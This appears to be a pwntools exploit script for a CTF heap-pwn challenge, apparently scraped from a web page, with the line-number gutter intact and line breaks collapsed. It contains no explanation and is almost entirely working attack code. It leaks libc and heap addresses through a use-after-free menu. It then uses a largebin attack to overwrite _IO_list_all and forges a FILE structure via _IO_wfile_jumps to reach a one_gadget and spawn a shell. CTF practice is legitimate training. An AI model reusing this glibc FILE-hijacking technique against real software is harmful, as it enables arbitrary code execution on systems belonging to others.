1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1 if debug: r = remote("pwn-f29b87ed3e.challenge.xctf.org.cn", 9999, ssl=True) else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def get_libc(): u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(index, size): r.sendlineafter(b'>', b'1') r.sendlineafter(b'index', str(index)) r.sendlineafter(b'size', str(size))
def edit(index, content): r.sendlineafter(b'>', b'2') r.sendlineafter(b'index', str(index)) r.sendlineafter(b'content', content)
def delete(index): r.sendlineafter(b'>', b'3') r.sendlineafter(b'index', str(index))
def show(index): r.sendlineafter(b'>', b'4') r.sendlineafter(b'index', str(index))
def exit(): r.sendlineafter(b'>', b'5')
add(0, 0x540) add(1, 0x520) add(2, 0x530) delete(0)
libc = ELF('./2.35/libc.so.6') show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
add(3, 0x550) edit(0, b'a' * 0x17) show(0) r.recvuntil(b'a' * 0x17 + b'\n') heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x290
_IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] leave_ret = 0x0000000000114723 + libc_base one = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43] one_gadget = one[1] + libc_base
delete(2) p1 = p64(0) + p64(leave_ret) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20) edit(0, p1)
add(4, 0x550) heap_addr = heap_base + 0x550 + 0x530 + 0x290 setcontext = libc_base + libc.sym['setcontext'] + 61 target_addr = heap_base + 0x550 + 0x530 + 0x290
p2 = b'\x00' p2 = p2.ljust(0x18, b'\x00') + p64(1) p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0) p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps) p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8) p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(one_gadget) edit(2, p2)
exit()
r.interactive()
|